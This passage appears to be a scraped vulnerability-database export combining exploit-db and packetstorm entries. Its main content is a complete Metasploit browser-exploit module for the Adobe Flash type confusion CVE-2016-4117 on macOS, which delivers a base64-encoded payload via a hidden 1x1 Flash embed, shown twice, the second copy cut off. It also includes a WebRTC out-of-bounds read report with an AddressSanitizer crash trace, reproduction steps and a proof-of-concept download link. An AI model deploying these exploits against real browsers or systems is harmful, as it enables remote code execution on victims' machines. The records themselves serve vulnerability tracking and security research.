https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nclass MetasploitModule < Msf::Exploit::Remote\r\n Rank = GreatRanking\r\n\r\n include Msf::Exploit::Remote::BrowserExploitServer\r\n\r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'Adobe Flash Player DeleteRangeTimelineOperation Type-Confusion',\r\n 'Description' => %q(\r\n This module exploits a type confusion on Adobe Flash Player, which was\r\n originally found being successfully exploited in the wild. This module\r\n has been tested successfully on:\r\n macOS Sierra 10.12.3,\r\n Safari and Adobe Flash Player 21.0.0.182,\r\n Firefox and Adobe Flash Player 21.0.0.182.\r\n ),\r\n 'License' => MSF_LICENSE,\r\n 'Author' =>\r\n [\r\n 'Genwei Jiang', # FireEye original blog details on the vulnerability\r\n 'bcook-r7' # Imported Metasploit module\r\n ],\r\n 'References' =>\r\n [\r\n ['CVE', '2016-4117'],\r\n ['BID', '90505'],\r\n ['URL', 'https://www.fireeye.com/blog/threat-research/2016/05/cve-2016-4117-flash-zero-day.html'],\r\n ['URL', 'http://www.securitytracker.com/id/1035826'],\r\n ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa16-02.html'],\r\n ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb16-15.html'],\r\n ],\r\n 'Payload' =>\r\n {\r\n 'DisableNops' => true\r\n },\r\n 'Platform' => ['osx'],\r\n 'BrowserRequirements' =>\r\n {\r\n source: /script|headers/i,\r\n os_name: lambda do |os|\r\n os =~ OperatingSystems::Match::MAC_OSX\r\n end,\r\n ua_name: lambda do |ua|\r\n case target.name\r\n when 'Mac OS X'\r\n return true if ua == Msf::HttpClients::SAFARI\r\n return true if ua == Msf::HttpClients::FF\r\n end\r\n\r\n false\r\n end,\r\n flash: lambda do |ver|\r\n case target.name\r\n when 'Mac OS X'\r\n return true if Gem::Version.new(ver) <= Gem::Version.new('21.0.0.182')\r\n end\r\n\r\n false\r\n end\r\n },\r\n 'Targets' =>\r\n [\r\n [\r\n 'Mac OS X', {\r\n 'Platform' => 'osx',\r\n 'Arch' => ARCH_X64\r\n }\r\n ]\r\n ],\r\n 'Privileged' => false,\r\n 'DisclosureDate' => 'Apr 27 2016',\r\n 'DefaultTarget' => 0))\r\n end\r\n\r\n def exploit\r\n @swf = create_swf\r\n\r\n super\r\n end\r\n\r\n def on_request_exploit(cli, request, target_info)\r\n print_status(\"Request: #{request.uri}\")\r\n\r\n if request.uri.end_with? 'swf'\r\n print_status('Sending SWF...')\r\n send_response(cli, @swf, 'Content-Type' => 'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache')\r\n return\r\n end\r\n\r\n print_status('Sending HTML...')\r\n send_exploit_html(cli, exploit_template(cli, target_info), 'Pragma' => 'no-cache')\r\n end\r\n\r\n def exploit_template(cli, target_info)\r\n swf_random = \"#{rand_text_alpha(3..7)}.swf\"\r\n target_payload = get_payload(cli, target_info)\r\n b64_payload = Rex::Text.encode_base64(target_payload)\r\n\r\n if target.name.include? 'osx'\r\n platform_id = 'osx'\r\n end\r\n html_template = %(<html>\r\n <body>\r\n <object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab\" width=\"1\" height=\"1\" />\r\n <param name=\"movie\" value=\"<%=swf_random%>\" />\r\n <param name=\"allowScriptAccess\" value=\"always\" />\r\n <param name=\"FlashVars\" value=\"sh=<%=b64_payload%>&pl=<%=platform_id%>\" />\r\n <param name=\"Play\" value=\"true\" />\r\n <embed type=\"application/x-shockwave-flash\" width=\"1\" height=\"1\" src=\"<%=swf_random%>\" allowScriptAccess=\"always\" FlashVars=\"sh=<%=b64_payload%>&pl=<%=platform_id%>\" Play=\"true\"/>\r\n </object>\r\n </body>\r\n </html>\r\n )\r\n\r\n return html_template, binding\r\n end\r\n\r\n def create_swf\r\n path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-4117', 'msf.swf')\r\n File.binread(path)\r\n end\r\nend", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/46339"}, {"lastseen": "2018-10-07T14:34:27", "bulletinFamily": "exploit", "description": "WebRTC - FEC Out-of-Bounds Read. CVE-2018-16083. Dos exploit for Multiple platform. Tags: Out Of Bounds", "modified": "2018-09-21T00:00:00", "published": "2018-09-21T00:00:00", "id": "EDB-ID:45444", "href": "https://www.exploit-db.com/exploits/45444/", "type": "exploitdb", "title": "WebRTC - FEC Out-of-Bounds Read", "sourceData": "There is an out-of-bounds read in FEC processing in WebRTC. If a very short RTP packet is received, FEC will assume the packet is longer and process data outside of the allocated buffer.\r\n\r\nThis bug causes the following ASAN crash:\r\n\r\n==109993==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61b003b7ff70 at pc 0x55e01a250cd1 bp 0x7fa3af7abc40 sp 0x7fa3af7abc38\r\nREAD of size 1 at 0x61b003b7ff70 thread T15 (Chrome_libJingl)\r\n #0 0x55e01a250cd0 in XorPayloads third_party/webrtc/modules/rtp_rtcp/source/forward_error_correction.cc:615:34\r\n #1 0x55e01a250cd0 in webrtc::ForwardErrorCorrection::RecoverPacket(webrtc::ForwardErrorCorrection::ReceivedFecPacket const&, webrtc::ForwardErrorCorrection::RecoveredPacket*) third_party/webrtc/modules/rtp_rtcp/source/forward_error_correction.cc:630\r\n #2 0x55e01a251162 in webrtc::ForwardErrorCorrection::AttemptRecovery(std::__1::list<std::__1::unique_ptr<webrtc::ForwardErrorCorrection::RecoveredPacket, std::__1::default_delete<webrtc::ForwardErrorCorrection::RecoveredPacket> >, std::__1::allocator<std::__1::unique_ptr<webrtc::ForwardErrorCorrection::RecoveredPacket, std::__1::default_delete<webrtc::ForwardErrorCorrection::RecoveredPacket> > > >*) third_party/webrtc/modules/rtp_rtcp/source/forward_error_correction.cc:652:12\r\n #3 0x55e01a251b12 in webrtc::ForwardErrorCorrection::DecodeFec(webrtc::ForwardErrorCorrection::ReceivedPacket const&, std::__1::list<std::__1::unique_ptr<webrtc::ForwardErrorCorrection::RecoveredPacket, std::__1::default_delete<webrtc::ForwardErrorCorrection::RecoveredPacket> >, std::__1::allocator<std::__1::unique_ptr<webrtc::ForwardErrorCorrection::RecoveredPacket, std::__1::default_delete<webrtc::ForwardErrorCorrection::RecoveredPacket> > > >*) third_party/webrtc/modules/rtp_rtcp/source/forward_error_correction.cc:739:3\r\n #4 0x55e01a4c5595 in webrtc::UlpfecReceiverImpl::ProcessReceivedFec() third_party/webrtc/modules/rtp_rtcp/source/ulpfec_receiver_impl.cc:248:11\r\n #5 0x55e01a4a1bb9 in webrtc::RtpVideoStreamReceiver::ParseAndHandleEncapsulatingHeader(unsigned char const*, unsigned long, webrtc::RTPHeader const&) third_party/webrtc/video/rtp_video_stream_receiver.cc:419:23\r\n #6 0x55e01a49f05b in webrtc::RtpVideoStreamReceiver::ReceivePacket(unsigned char const*, unsigned long, webrtc::RTPHeader const&) third_party/webrtc/video/rtp_video_stream_receiver.cc:390:5\r\n #7 0x55e01a49fcf2 in webrtc::RtpVideoStreamReceiver::OnRtpPacket(webrtc::RtpPacketReceived const&) third_party/webrtc/video/rtp_video_stream_receiver.cc:290:3\r\n #8 0x55e009a368a1 in webrtc::RtpDemuxer::OnRtpPacket(webrtc::RtpPacketReceived const&) third_party/webrtc/call/rtp_demuxer.cc:157:11\r\n #9 0x55e009a3b6e1 in webrtc::RtpStreamReceiverController::OnRtpPacket(webrtc::RtpPacketReceived const&) third_party/webrtc/call/rtp_stream_receiver_controller.cc:55:19\r\n #10 0x55e01a231339 in webrtc::internal::Call::DeliverRtp(webrtc::MediaType, rtc::CopyOnWriteBuffer, webrtc::PacketTime const&) third_party/webrtc/call/call.cc:1321:36\r\n #11 0x55e01a232300 in webrtc::internal::Call::DeliverPacket(webrtc::MediaType, rtc::CopyOnWriteBuffer, webrtc::PacketTime const&) third_party/webrtc/call/call.cc:1361:10\r\n #12 0x55e01a95d341 in cricket::WebRtcVideoChannel::OnPacketReceived(rtc::CopyOnWriteBuffer*, rtc::PacketTime const&) third_party/webrtc/media/engine/webrtcvideoengine.cc:1441:26\r\n #13 0x55e01a1d8dc2 in cricket::BaseChannel::ProcessPacket(bool, rtc::CopyOnWriteBuffer const&, rtc::PacketTime const&) third_party/webrtc/pc/channel.cc\r\n #14 0x55e01a1f6760 in rtc::AsyncInvoker::OnMessage(rtc::Message*) third_party/webrtc/rtc_base/asyncinvoker.cc:45:22\r\n #15 0x55e01a0a6aa1 in jingle_glue::JingleThreadWrapper::Dispatch(rtc::Message*) jingle/glue/thread_wrapper.cc:157:22\r\n #16 0x55e01a0a7d7e in jingle_glue::JingleThreadWrapper::RunTask(int) jingle/glue/thread_wrapper.cc:279:7\r\n #17 0x55e00d52b6f5 in Run base/callback.h:96:12\r\n #18 0x55e00d52b6f5 in base::debug::TaskAnnotator::RunTask(char const*, base::PendingTask*) base/debug/task_annotator.cc:101\r\n #19 0x55e00d5881d5 in base::MessageLoop::RunTask(base::PendingTask*) base/message_loop/message_loop.cc:319:25\r\n #20 0x55e00d589444 in DeferOrRunPendingTask base/message_loop/message_loop.cc:329:5\r\n #21 0x55e00d589444 in base::MessageLoop::DoWork() base/message_loop/message_loop.cc:373\r\n #22 0x55e00d591acf in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_default.cc:37:31\r\n #23 0x55e00d600551 in base::RunLoop::Run() base/run_loop.cc:102:14\r\n #24 0x55e00d6878b4 in base::Thread::ThreadMain() base/threading/thread.cc:337:3\r\n #25 0x55e00d73c694 in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:76:13\r\n #26 0x7fa3d586f493 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x7493)\r\n\r\n0x61b003b7ff70 is located 0 bytes to the right of 1520-byte region [0x61b003b7f980,0x61b003b7ff70)\r\nallocated by thread T15 (Chrome_libJingl) here:\r\n #0 0x55e00607ef92 in operator new(unsigned long) /b/build/slave/linux_upload_clang/build/src/third_party/llvm/compiler-rt/lib/asan/asan_new_delete.cc:93:3\r\n #1 0x55e01a4c3eeb in webrtc::UlpfecReceiverImpl::AddReceivedRedPacket(webrtc::RTPHeader const&, unsigned char const*, unsigned long, unsigned char) third_party/webrtc/modules/rtp_rtcp/source/ulpfec_receiver_impl.cc:101:26\r\n #2 0x55e01a4a1b6f in webrtc::RtpVideoStreamReceiver::ParseAndHandleEncapsulatingHeader(unsigned char const*, unsigned long, webrtc::RTPHeader const&) third_party/webrtc/video/rtp_video_stream_receiver.cc:414:27\r\n #3 0x55e01a49f05b in webrtc::RtpVideoStreamReceiver::ReceivePacket(unsigned char const*, unsigned long, webrtc::RTPHeader const&) third_party/webrtc/video/rtp_video_stream_receiver.cc:390:5\r\n #4 0x55e01a49fcf2 in webrtc::RtpVideoStreamReceiver::OnRtpPacket(webrtc::RtpPacketReceived const&) third_party/webrtc/video/rtp_video_stream_receiver.cc:290:3\r\n #5 0x55e009a368a1 in webrtc::RtpDemuxer::OnRtpPacket(webrtc::RtpPacketReceived const&) third_party/webrtc/call/rtp_demuxer.cc:157:11\r\n #6 0x55e009a3b6e1 in webrtc::RtpStreamReceiverController::OnRtpPacket(webrtc::RtpPacketReceived const&) third_party/webrtc/call/rtp_stream_receiver_controller.cc:55:19\r\n #7 0x55e01a231339 in webrtc::internal::Call::DeliverRtp(webrtc::MediaType, rtc::CopyOnWriteBuffer, webrtc::PacketTime const&) third_party/webrtc/call/call.cc:1321:36\r\n #8 0x55e01a232300 in webrtc::internal::Call::DeliverPacket(webrtc::MediaType, rtc::CopyOnWriteBuffer, webrtc::PacketTime const&) third_party/webrtc/call/call.cc:1361:10\r\n #9 0x55e01a95d341 in cricket::WebRtcVideoChannel::OnPacketReceived(rtc::CopyOnWriteBuffer*, rtc::PacketTime const&) third_party/webrtc/media/engine/webrtcvideoengine.cc:1441:26\r\n #10 0x55e01a1d8dc2 in cricket::BaseChannel::ProcessPacket(bool, rtc::CopyOnWriteBuffer const&, rtc::PacketTime const&) third_party/webrtc/pc/channel.cc\r\n #11 0x55e01a1f6760 in rtc::AsyncInvoker::OnMessage(rtc::Message*) third_party/webrtc/rtc_base/asyncinvoker.cc:45:22\r\n #12 0x55e01a0a6aa1 in jingle_glue::JingleThreadWrapper::Dispatch(rtc::Message*) jingle/glue/thread_wrapper.cc:157:22\r\n #13 0x55e01a0a7d7e in jingle_glue::JingleThreadWrapper::RunTask(int) jingle/glue/thread_wrapper.cc:279:7\r\n #14 0x55e00d52b6f5 in Run base/callback.h:96:12\r\n #15 0x55e00d52b6f5 in base::debug::TaskAnnotator::RunTask(char const*, base::PendingTask*) base/debug/task_annotator.cc:101\r\n #16 0x55e00d5881d5 in base::MessageLoop::RunTask(base::PendingTask*) base/message_loop/message_loop.cc:319:25\r\n #17 0x55e00d589444 in DeferOrRunPendingTask base/message_loop/message_loop.cc:329:5\r\n #18 0x55e00d589444 in base::MessageLoop::DoWork() base/message_loop/message_loop.cc:373\r\n #19 0x55e00d591acf in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_default.cc:37:31\r\n #20 0x55e00d600551 in base::RunLoop::Run() base/run_loop.cc:102:14\r\n #21 0x55e00d6878b4 in base::Thread::ThreadMain() base/threading/thread.cc:337:3\r\n #22 0x55e00d73c694 in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:76:13\r\n #23 0x7fa3d586f493 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x7493)\r\n\r\nThread T15 (Chrome_libJingl) created by T0 (chrome) here:\r\n #0 0x55e00603bb7d in __interceptor_pthread_create /b/build/slave/linux_upload_clang/build/src/third_party/llvm/compiler-rt/lib/asan/asan_interceptors.cc:210:3\r\n #1 0x55e00d73b99e in base::(anonymous namespace)::CreateThread(unsigned long, bool, base::PlatformThread::Delegate*, base::PlatformThreadHandle*, base::ThreadPriority) base/threading/platform_thread_posix.cc:115:13\r\n #2 0x55e00d686be9 in base::Thread::StartWithOptions(base::Thread::Options const&) base/threading/thread.cc:112:15\r\n #3 0x55e00d68684b in base::Thread::Start() base/threading/thread.cc:75:10\r\n #4 0x55e01a09ba37 in content::PeerConnectionDependencyFactory::CreatePeerConnectionFactory() content/renderer/media/webrtc/peer_connection_dependency_factory.cc:177:3\r\n #5 0x55e01a09b4d0 in content::PeerConnectionDependencyFactory::GetPcFactory() content/renderer/media/webrtc/peer_connection_dependency_factory.cc:139:5\r\n #6 0x55e01a09df09 in content::PeerConnectionDependencyFactory::CreatePeerConnection(webrtc::PeerConnectionInterface::RTCConfiguration const&, blink::WebLocalFrame*, webrtc::PeerConnectionObserver*) content/renderer/media/webrtc/peer_connection_dependency_factory.cc:340:8\r\n #7 0x55e01aa63b1b in content::RTCPeerConnectionHandler::Initialize(blink::WebRTCConfiguration const&, blink::WebMediaConstraints const&) content/renderer/media/webrtc/rtc_peer_connection_handler.cc:1333:50\r\n #8 0x55e01baafde2 in blink::RTCPeerConnection::RTCPeerConnection(blink::ExecutionContext*, blink::WebRTCConfiguration const&, blink::WebMediaConstraints, blink::ExceptionState&) third_party/blink/renderer/modules/peerconnection/rtc_peer_connection.cc:585:23\r\n #9 0x55e01baaaedc in blink::RTCPeerConnection::Create(blink::ExecutionContext*, blink::RTCConfiguration const&, blink::Dictionary const&, blink::ExceptionState&) third_party/blink/renderer/modules/peerconnection/rtc_peer_connection.cc:518:44\r\n #10 0x55e01bb1ad0b in constructor gen/third_party/blink/renderer/bindings/modules/v8/v8_rtc_peer_connection.cc:1317:29\r\n #11 0x55e01bb1ad0b in blink::V8RTCPeerConnection::constructorCallback(v8::FunctionCallbackInfo<v8::Value> const&) gen/third_party/blink/renderer/bindings/modules/v8/v8_rtc_peer_connection.cc:1667\r\n #12 0x55e00ab4db49 in v8::internal::FunctionCallbackArguments::Call(v8::internal::CallHandlerInfo*) v8/src/api-arguments-inl.h:94:3\r\n #13 0x55e00ab4a4c4 in v8::internal::MaybeHandle<v8::internal::Object> v8::internal::(anonymous namespace)::HandleApiCallHelper<true>(v8::internal::Isolate*, v8::internal::Handle<v8::internal::HeapObject>, v8::internal::Handle<v8::internal::HeapObject>, v8::internal::Handle<v8::internal::FunctionTemplateInfo>, v8::internal::Handle<v8::internal::Object>, v8::internal::BuiltinArguments) v8/src/builtins/builtins-api.cc:109:36\r\n #14 0x55e00ab48eb3 in v8::internal::Builtin_Impl_HandleApiCall(v8::internal::BuiltinArguments, v8::internal::Isolate*) v8/src/builtins/builtins-api.cc:135:5\r\n #15 0x55e00c2fce0d (/usr/local/google/home/natashenka/chromium3/src/out/asan/chrome+0xde74e0d)\r\n #16 0x55e00c263d3f (/usr/local/google/home/natashenka/chromium3/src/out/asan/chrome+0xdddbd3f)\r\n #17 0x7e9c7b70dd69 (<unknown module>)\r\n #18 0x7e9c7b68868f (<unknown module>)\r\n #19 0x55e00c2618a5 (/usr/local/google/home/natashenka/chromium3/src/out/asan/chrome+0xddd98a5)\r\n #20 0x55e00c263c60 (/usr/local/google/home/natashenka/chromium3/src/out/asan/chrome+0xdddbc60)\r\n #21 0x7e9c7b70dd69 (<unknown module>)\r\n #22 0x7e9c7b68868f (<unknown module>)\r\n #23 0x7e9c7b68868f (<unknown module>)\r\n #24 0x7e9c7b68868f (<unknown module>)\r\n #25 0x55e00c2618a5 (/usr/local/google/home/natashenka/chromium3/src/out/asan/chrome+0xddd98a5)\r\n #26 0x55e00c265722 (/usr/local/google/home/natashenka/chromium3/src/out/asan/chrome+0xdddd722)\r\n #27 0x7e9c7b684820 (<unknown module>)\r\n #28 0x55e00b3b4130 in Call v8/src/simulator.h:113:12\r\n #29 0x55e00b3b4130 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, bool, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, int, v8::internal::Handle<v8::internal::Object>*, v8::internal::Handle<v8::internal::Object>, v8::internal::Execution::MessageHandling, v8::internal::Execution::Target) v8/src/execution.cc:155\r\n #30 0x55e00b3b3993 in CallInternal v8/src/execution.cc:191:10\r\n #31 0x55e00b3b3993 in v8::internal::Execution::Call(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, int, v8::internal::Handle<v8::internal::Object>*) v8/src/execution.cc:202\r\n #32 0x55e00aa107b4 in v8::Function::Call(v8::Local<v8::Context>, v8::Local<v8::Value>, int, v8::Local<v8::Value>*) v8/src/api.cc:5218:7\r\n #33 0x55e015fe0a61 in blink::V8ScriptRunner::CallFunction(v8::Local<v8::Function>, blink::ExecutionContext*, v8::Local<v8::Value>, int, v8::Local<v8::Value>*, v8::Isolate*) third_party/blink/renderer/bindings/core/v8/v8_script_runner.cc:386:17\r\n #34 0x55e016028398 in blink::V8EventListener::CallListenerFunction(blink::ScriptState*, v8::Local<v8::Value>, blink::Event*) third_party/blink/renderer/bindings/core/v8/v8_event_listener.cc:115:8\r\n #35 0x55e016029a54 in blink::V8AbstractEventListener::InvokeEventHandler(blink::ScriptState*, blink::Event*, v8::Local<v8::Value>) third_party/blink/renderer/bindings/core/v8/v8_abstract_event_listener.cc:171:20\r\n #36 0x55e01602942b in blink::V8AbstractEventListener::HandleEvent(blink::ScriptState*, blink::Event*) third_party/blink/renderer/bindings/core/v8/v8_abstract_event_listener.cc:120:3\r\n #37 0x55e016029103 in blink::V8AbstractEventListener::handleEvent(blink::ExecutionContext*, blink::Event*) third_party/blink/renderer/bindings/core/v8/v8_abstract_event_listener.cc:108:3\r\n #38 0x55e017446ebe in blink::EventTarget::FireEventListeners(blink::Event*, blink::EventTargetData*, blink::HeapVector<blink::RegisteredEventListener, 1ul>&) third_party/blink/renderer/core/dom/events/event_target.cc:804:15\r\n #39 0x55e017445121 in blink::EventTarget::FireEventListeners(blink::Event*) third_party/blink/renderer/core/dom/events/event_target.cc:656:29\r\n #40 0x55e017444d5b in blink::EventTarget::DispatchEventInternal(blink::Event*) third_party/blink/renderer/core/dom/events/event_target.cc:560:41\r\n #41 0x55e017a0de87 in Create third_party/blink/renderer/core/events/progress_event.h:44:16\r\n #42 0x55e017a0de87 in blink::FileReader::FireEvent(WTF::AtomicString const&) third_party/blink/renderer/core/fileapi/file_reader.cc:471\r\n #43 0x55e017a0e6d4 in blink::FileReader::DidFinishLoading() third_party/blink/renderer/core/fileapi/file_reader.cc:427:3\r\n #44 0x55e00a9494ef in blink::mojom::blink::BlobReaderClientStubDispatch::Accept(blink::mojom::blink::BlobReaderClient*, mojo::Message*) gen/third_party/blink/public/mojom/blob/blob.mojom-blink.cc:168:13\r\n #45 0x55e00ea14f7e in mojo::InterfaceEndpointClient::HandleValidatedMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:419:32\r\n #46 0x55e00ea258b3 in mojo::internal::MultiplexRouter::ProcessIncomingMessage(mojo::internal::MultiplexRouter::MessageWrapper*, mojo::internal::MultiplexRouter::ClientCallBehavior, base::SequencedTaskRunner*) mojo/public/cpp/bindings/lib/multiplex_router.cc:865:42\r\n #47 0x55e00ea2409e in mojo::internal::MultiplexRouter::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/multiplex_router.cc:589:38\r\n #48 0x55e00ea0efa7 in mojo::Connector::ReadSingleMessage(unsigned int*) mojo/public/cpp/bindings/lib/connector.cc:443:51\r\n #49 0x55e00ea1081c in mojo::Connector::ReadAllAvailableMessages() mojo/public/cpp/bindings/lib/connector.cc:472:10\r\n #50 0x55e00ea00642 in Run base/callback.h:125:12\r\n #51 0x55e00ea00642 in mojo::SimpleWatcher::OnHandleReady(int, unsigned int, mojo::HandleSignalsState const&) mojo/public/cpp/system/simple_watcher.cc:274\r\n #52 0x55e00d52b6f5 in Run base/callback.h:96:12\r\n #53 0x55e00d52b6f5 in base::debug::TaskAnnotator::RunTask(char const*, base::PendingTask*) base/debug/task_annotator.cc:101\r\n #54 0x55e00c4afc95 in base::sequence_manager::internal::ThreadControllerImpl::DoWork(base::sequence_manager::internal::ThreadControllerImpl::WorkType) third_party/blink/renderer/platform/scheduler/base/thread_controller_impl.cc:166:21\r\n #55 0x55e00d52b6f5 in Run base/callback.h:96:12\r\n #56 0x55e00d52b6f5 in base::debug::TaskAnnotator::RunTask(char const*, base::PendingTask*) base/debug/task_annotator.cc:101\r\n #57 0x55e00d5881d5 in base::MessageLoop::RunTask(base::PendingTask*) base/message_loop/message_loop.cc:319:25\r\n #58 0x55e00d589444 in DeferOrRunPendingTask base/message_loop/message_loop.cc:329:5\r\n #59 0x55e00d589444 in base::MessageLoop::DoWork() base/message_loop/message_loop.cc:373\r\n #60 0x55e00d591acf in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_default.cc:37:31\r\n #61 0x55e00d600551 in base::RunLoop::Run() base/run_loop.cc:102:14\r\n #62 0x55e01bfb0599 in content::RendererMain(content::MainFunctionParams const&) content/renderer/renderer_main.cc:218:23\r\n #63 0x55e00cafbca5 in content::RunZygote(content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:567:14\r\n #64 0x55e00caff751 in content::ContentMainRunnerImpl::Run() content/app/content_main_runner_impl.cc:969:10\r\n #65 0x55e00cb1e6c3 in service_manager::Main(service_manager::MainParams const&) services/service_manager/embedder/main.cc:459:29\r\n #66 0x55e00cafa2d0 in content::ContentMain(content::ContentMainParams const&) content/app/content_main.cc:19:10\r\n #67 0x55e006081fe3 in ChromeMain chrome/app/chrome_main.cc:101:12\r\n #68 0x7fa3ceac32b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)\r\n\r\nSUMMARY: AddressSanitizer: heap-buffer-overflow third_party/webrtc/modules/rtp_rtcp/source/forward_error_correction.cc:615:34 in XorPayloads\r\nShadow bytes around the buggy address:\r\n 0x0c3680767f90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\r\n 0x0c3680767fa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\r\n 0x0c3680767fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\r\n 0x0c3680767fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\r\n 0x0c3680767fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\r\n=>0x0c3680767fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00[fa]fa\r\n 0x0c3680767ff0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\r\n 0x0c3680768000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\r\n 0x0c3680768010: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\r\n 0x0c3680768020: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\r\n 0x0c3680768030: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\r\nShadow byte legend (one shadow byte represents 8 application bytes):\r\n Addressable: 00\r\n Partially addressable: 01 02 03 04 05 06 07 \r\n Heap left redzone: fa\r\n Freed heap region: fd\r\n Stack left redzone: f1\r\n Stack mid redzone: f2\r\n Stack right redzone: f3\r\n Stack after return: f5\r\n Stack use after scope: f8\r\n Global redzone: f9\r\n Global init order: f6\r\n Poisoned by user: f7\r\n Container overflow: fc\r\n Array cookie: ac\r\n Intra object redzone: bb\r\n ASan internal: fe\r\n Left alloca redzone: ca\r\n Right alloca redzone: cb\r\n Shadow gap: cc\r\n==109993==ABORTING\r\n\r\nTo reproduce this issue:\r\n\r\n1) Apply new.patch to a fresh WebRTC tree\r\n2) Build video_replay\r\n3) Download the attached files and run ./video_replay --input_file fec\r\n\r\n\r\nProof of Concept:\r\nhttps://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/45444.zip", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://www.exploit-db.com/download/45444/"}], "packetstorm": [{"lastseen": "2019-02-10T19:00:54", "bulletinFamily": "exploit", "description": "", "modified": "2019-02-09T00:00:00", "published": "2019-02-09T00:00:00", "id": "PACKETSTORM:151589", "href": "https://packetstormsecurity.com/files/151589/Adobe-Flash-Player-DeleteRangeTimelineOperation-Type-Confusion.html", "title": "Adobe Flash Player DeleteRangeTimelineOperation Type Confusion", "type": "packetstorm", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Remote \nRank = GreatRanking \n \ninclude Msf::Exploit::Remote::BrowserExploitServer \n \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'Adobe Flash Player DeleteRangeTimelineOperation Type-Confusion', \n'Description' => %q( \nThis module exploits a type confusion on Adobe Flash Player, which was \noriginally found being successfully exploited in the wild. This module \nhas been tested successfully on: \nmacOS Sierra 10.12.3, \nSafari and Adobe Flash Player 21.0.0.182, \nFirefox and Adobe Flash Player 21.0.0.182. \n), \n'License' => MSF_LICENSE, \n'Author' => \n[ \n'Genwei Jiang', # FireEye original blog details on the vulnerability \n'bcook-r7' # Imported Metasploit module \n], \n'References' => \n[ \n['CVE', '2016-4117'], \n['BID', '90505'], \n['URL', 'https://www.fireeye.com/blog/threat-research/2016/05/cve-2016-4117-flash-zero-day.html'], \n['URL', 'http://www.securitytracker.com/id/1035826'], \n['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa16-02.html'], \n['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb16-15.html'], \n], \n'Payload' => \n{ \n'DisableNops' => true \n}, \n'Platform' => ['osx'], \n'BrowserRequirements' => \n{ \nsource: /script|headers/i, \nos_name: lambda do |os| \nos =~ OperatingSystems::Match::MAC_OSX \nend, \nua_name: lambda do |ua| \ncase target.name \nwhen 'Mac OS X' \nreturn true if ua == Msf::HttpClients::SAFARI \nreturn true if ua == Msf::HttpClients::FF \nend \n \nfalse \nend, \nflash: lambda do |ver| \ncase target.name \nwhen 'Mac OS X' \nreturn true if Gem::Version.new(ver) <= Gem::Version.new('21.0.0.182') \nend \n \nfalse \nend \n}, \n'Targets' => \n[ \n[ \n'Mac OS X', { \n'Platform' => 'osx', \n'Arch' => ARCH_X64 \n} \n] \n], \n'Privileged' => false, \n'DisclosureDate' => 'Apr 27 2016', \n'DefaultTarget' => 0)) \nend \n \ndef exploit \n@swf = create_swf \n \nsuper \nend \n \ndef on_request_exploit(cli, request, target_info) \nprint_status(\"Request: #{request.uri}\") \n \nif request.uri.end_with? 'swf' \nprint_status('Sending SWF...') \nsend_response(cli, @swf, 'Content-Type' => 'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache') \nreturn \nend \n \nprint_status('Sending HTML...') \nsend_exploit_html(cli, exploit_template(cli, target_info), 'Pragma' => 'no-cache') \nend \n \ndef exploit_template(cli, target_info) \nswf_random = \"#{rand_text_alpha(3..7)}.swf\" \ntarget_payload = get_payload(cli, target_info) \nb64_payload = Rex::Text.encode_base64(target_payload) \n \nif target.name.include? 'osx' \nplatform_id = 'osx' \nend \nhtml_template = %(<html> \n<body> \n<object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab\" width=\"1\" height=\"1\" /> \n<param name=\"movie\" value=\"<%=swf_random%>\" /> \n<param name=\"allowScriptAccess\" value=\"always\" /> \n<param name=\"FlashVars\" value=\"sh=<%=b64_payload%>&pl=<%=platform_id%>\" /> \n<param name=\"Play\" value=\"true\" /> \n<embed type=\"application/x-shockwave-flash\" 